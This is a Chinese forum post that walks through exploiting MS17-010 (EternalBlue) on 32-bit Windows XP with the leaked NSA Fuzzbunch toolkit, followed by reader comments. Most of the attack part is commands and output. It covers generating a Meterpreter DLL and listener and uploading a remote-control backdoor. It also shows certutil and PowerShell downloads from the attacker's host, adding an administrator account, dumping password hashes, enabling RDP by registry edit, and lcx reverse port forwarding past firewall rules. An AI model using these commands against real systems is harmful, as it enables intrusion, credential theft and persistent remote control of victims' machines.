用户
搜索
  • TA的每日心情
    开心
    2018-9-11 11:32
  • 签到天数: 7 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋-核心白帽

    Rank: 4

    73

    主题

    98

    帖子

    1071

    魔法币
    收听
    0
    粉丝
    18
    注册时间
    2016-6-6
    发表于 2018-9-11 10:25:39 75429

    利用NSA工具包实战32位XP系统MS17-010

    近期因为工控安全大赛的原因,遇到了32系统存在17-010用matesploit无法利用的缘故。

    目前斗哥的metasploit v4.17.2-dev只支持win7x64win2008x64win8x64这几种系统的Getshell方式。

    本文记录斗哥在实际场景中遇到的问题,以及学到的一些关于后渗透的小技巧。

    0x00 Download NSA工具包

    NSA黑客工具包Github下载地址

    由于攻击脚本需要32的Python2.6环境支持,因为攻击者电脑还需如下两个环境:

    python-2.6.6.msi

    pywin32-221.win32-py2.6.exe

    0x01 修改NSA工具配置文件

    斗哥的工具包路径是D:\shadowbroker-master\windows

    i. 修改D:\shadowbroker-master\windows\fb.py文件

    注释掉第72行代码#addplugins(fb, "ListeningPost", LP_DIR,      EDFPlugin)

    def load_plugins(fb):
        fb.io.pre_input(None)
        fb.io.print_msg("Loading Plugins")
        fb.io.post_input()
        addplugins(fb, "Exploit",       EXPLOIT_DIR, EDFPlugin)
        addplugins(fb, "Payload",       PAYLOAD_DIR, EDFPlugin)
        addplugins(fb, "Touch",         TOUCH_DIR,   EDFPlugin)
        addplugins(fb, "ImplantConfig", IMPLANT_DIR, EDFPlugin)
        #addplugins(fb, "ListeningPost", LP_DIR,      EDFPlugin)
        addplugins(fb, "Special",       SPECIAL_DIR, DAVEPlugin, DeployableManager)

    ii. 修改D:\shadowbroker-master\windows\Fuzzbunch.xml文件

    修改第19行代码的Resources路径和第24行代码的logs路径,改成目前工具包存放的路径

    <t:parameter name="ResourcesDir"
                 description="Absolute path of the Resources Directory"
                 type="String"
                 default="D:\shadowbroker-master\windows\Resources"/>
    
    <t:parameter name="LogDir"
                 description="Absolute path of an Initial Log Directory"
                 type="String"
                 default="D:\shadowbroker-master\windows\logs"/>

    0x03 运行fb.py脚本实施ETERNALBLUE攻击

    1. 这里攻击的环境及IP地址如下:

    攻击者IP 10.10.10.1

    Windows 10,安装了kali子系统,并且在子系统上安装了metasploit v4.17

    靶机IP 10.10.10.130

    32位 Windows XP

    2. 运行fb.py文件实施Eternalblue攻击

    运行D:\shadowbroker-master\windows\fb.py文件

    # python26 fb.py
    
    --[ Version 3.5.1
     Loading Plugins Initializing Fuzzbunch v3.5.1 Adding Global Variables
    [+] Set ResourcesDir => D:\shadowbroker-master\windows\Resources
    [+] Set Color => True
    [+] Set ShowHiddenParameters => False
    [+] Set NetworkTimeout => 60
    [+] Set LogDir => D:\shadowbroker-master\windows\logs Autorun ON
    
    ...
    
    [?] Default Target IP Address [] : 10.10.10.130
    [?] Default Callback IP Address [] : 10.10.10.1
    [?] Use Redirection [yes] : no
    

    中间一些配置项,选择默认,这个过程确认下配置无误即可。

    中间一些配置项,选择默认,这个过程确认下配置无误即可。

    3. msf监听后门dll文件

    用kali生成一个用于回连的dll文件,由于斗哥攻击者PC是win10带有kali子系统,所以lhost仍然是10.10.10.1,生成x86bind.dll文件后,将其复制到D盘根路径下。

    msfVENOM -p windows/meterpreter/bind_tcp lhost=10.10.10.1 lport=4444 -f dll -o x86bind.dll

    进入msfconsole设置监听

    use exploit/multi/handler
    set payload  windows/meterpreter_reverse_tcp
    set lhost 10.10.10.1
    exploit

    4. doublepulsar传入dll木马,获得shell

    中间一些配置项,选择默认,这个过程确认下配置无误即可。

    中间一些配置项,选择默认,这个过程确认下配置无误即可。

    0x03 后渗透的一些利用

    shell界面已经能做很多事情了,但很多时候需要获得更多权限,如得到服务器的远程桌面。

    1. 上传上兴远控后门

    最直接想传一个后门文件上去,方便自己管理。

    meterpreterupload功能

    meterpreter > upload -h
    Usage: upload [options] src1 src2 src3 ... destination
    
    Uploads local files and directories to the remote machine.
    
    OPTIONS:
    
        -h        Help banner
        -r        Upload recursively
    meterpreter > upload /mnt/d/Sx_server.exe C:\
    > uploading  : /mnt/d/Sx_server.exe -> C: uploaded   : /mnt/d/Sx_server.exe -> C:\Sx_server.exe

    certutil.exe 文件下载功能
    certutil本来是用来证书管理的,但是我们可以用它来下载文件。支持xp-win10
    更多操作说明见https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx

    下载语法:

    certutil.exe -urlcache -split -f [URL] output.file

    实际测试过:

    win2K3,比如下载一个3389.bat,先成一个缓存文件Blob0_0.bin,在把这个文件重命名为3389.bat

    certutil.exe -urlcache -split -f http://10.10.10.1/3389.bat
    rename Blob0_0.bin 3389.bat

    win7及以上系统:

    certutil.exe -urlcache -split -f http://10.10.10.1/3389.bat 3389.bat

    另外如果是win7以上系统,就不得不提到powershell了。

    powershell (New-Object net.webclient).DownloadFile('http://10.10.10.1/3389.bat','c:\\3388.bat')"

    2. 传3389.bat开3389,建账号。

    得到账号可以创建一个账号然后将其加入管理员组:

    net user reborn 123456 /add && net localgroup administrators reborn /add

    或者hashdump,然后破解密码

    meterpreter > hashdump
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    HelpAssistant:1000:20ac9ba0dd7f155c324c6ed1e021205b:38316494a911622d58a3e45b33bea9ce:::

    开3389端口

    3389.bat

    echo Windows Registry Editor Version 5.00>>3389.reg
    echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
    echo "fDenyTSConnections"=dword:00000000>>3389.reg
    echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
    echo "PortNumber"=dword:00000d3d>>3389.reg
    echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
    echo "PortNumber"=dword:00000d3d>>3389.reg
    regedit /s 3389.reg
    del 3389.reg

    或者一条命令

    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

    3. 端口转发

    meterpreter自带一个神器portfwd。

    Stdapi: Networking Commands
    ===========================
    
        Command       Description
        -------       -----------
        portfwd       Forward a local port to a remote service

    端口转发 靶机3389端口转发送本地的5555端口

    portfwd add -l 5555 -p 3389 -r 127.0.0.1

    攻击者连接本地127.0.0.1的5555端口,kali的rdesktop远程连接

    rdesktop -u root -p toor 127.0.0.1:5555

    LCX端口转发绕过防火墙入站规则:

    受害者执行如下命令

    lcx.exe -slave 10.10.10.1 <攻击者端口,如5115> 10.10.10.254 <受害者端口,如3389>

    攻击者执行如下命令:监听5115端口并转发到33891上

    lcx.exe -listen 5115 33891

    攻击者远程连接:127.0.0.1:33891

    LCX端口实现内网连接:

    配置方式

    内网服务器当成上述场景受害者ip
    公网服务器当成上述场景攻击者ip

    0x04 小结

    实战的情况往往要比自己在虚拟机做实验要复杂得多,有时一个网络问题就会困恼自己很久,要考虑到转发和代理之类的,还是需要多动手实践才行。如果你看了我的文章有任何疑惑和不同的见解,非常欢迎你来和我交流,我的163邮箱:reborn54119@163.com。


    qrcode_for_gh_223e082fe8a7_344.jpg
    发表于 2018-9-11 11:00:10
    有意思吗,反反复复发这种东西。
    使用道具 举报 回复
    发表于 2018-9-11 12:00:09
    提示: 作者被禁止或删除 内容自动屏蔽
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    发表于 2018-9-11 18:58:42
    为什么payload有反向连接,但是生成的包括bind_tcp
    使用道具 举报 回复
    051632j6vx6o8ifa6hocmf.png.thumb.png
    求解 测试目标机的时候出现这个问题 ,自己测试本地没任何问题
    使用道具 举报 回复
    hackshy 发表于 2018-9-11 11:00
    有意思吗,反反复复发这种东西。

    不喜欢请绕道~~
    使用道具 举报 回复
    非常有用呀,metasploit只能64位很鸡肋呀
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册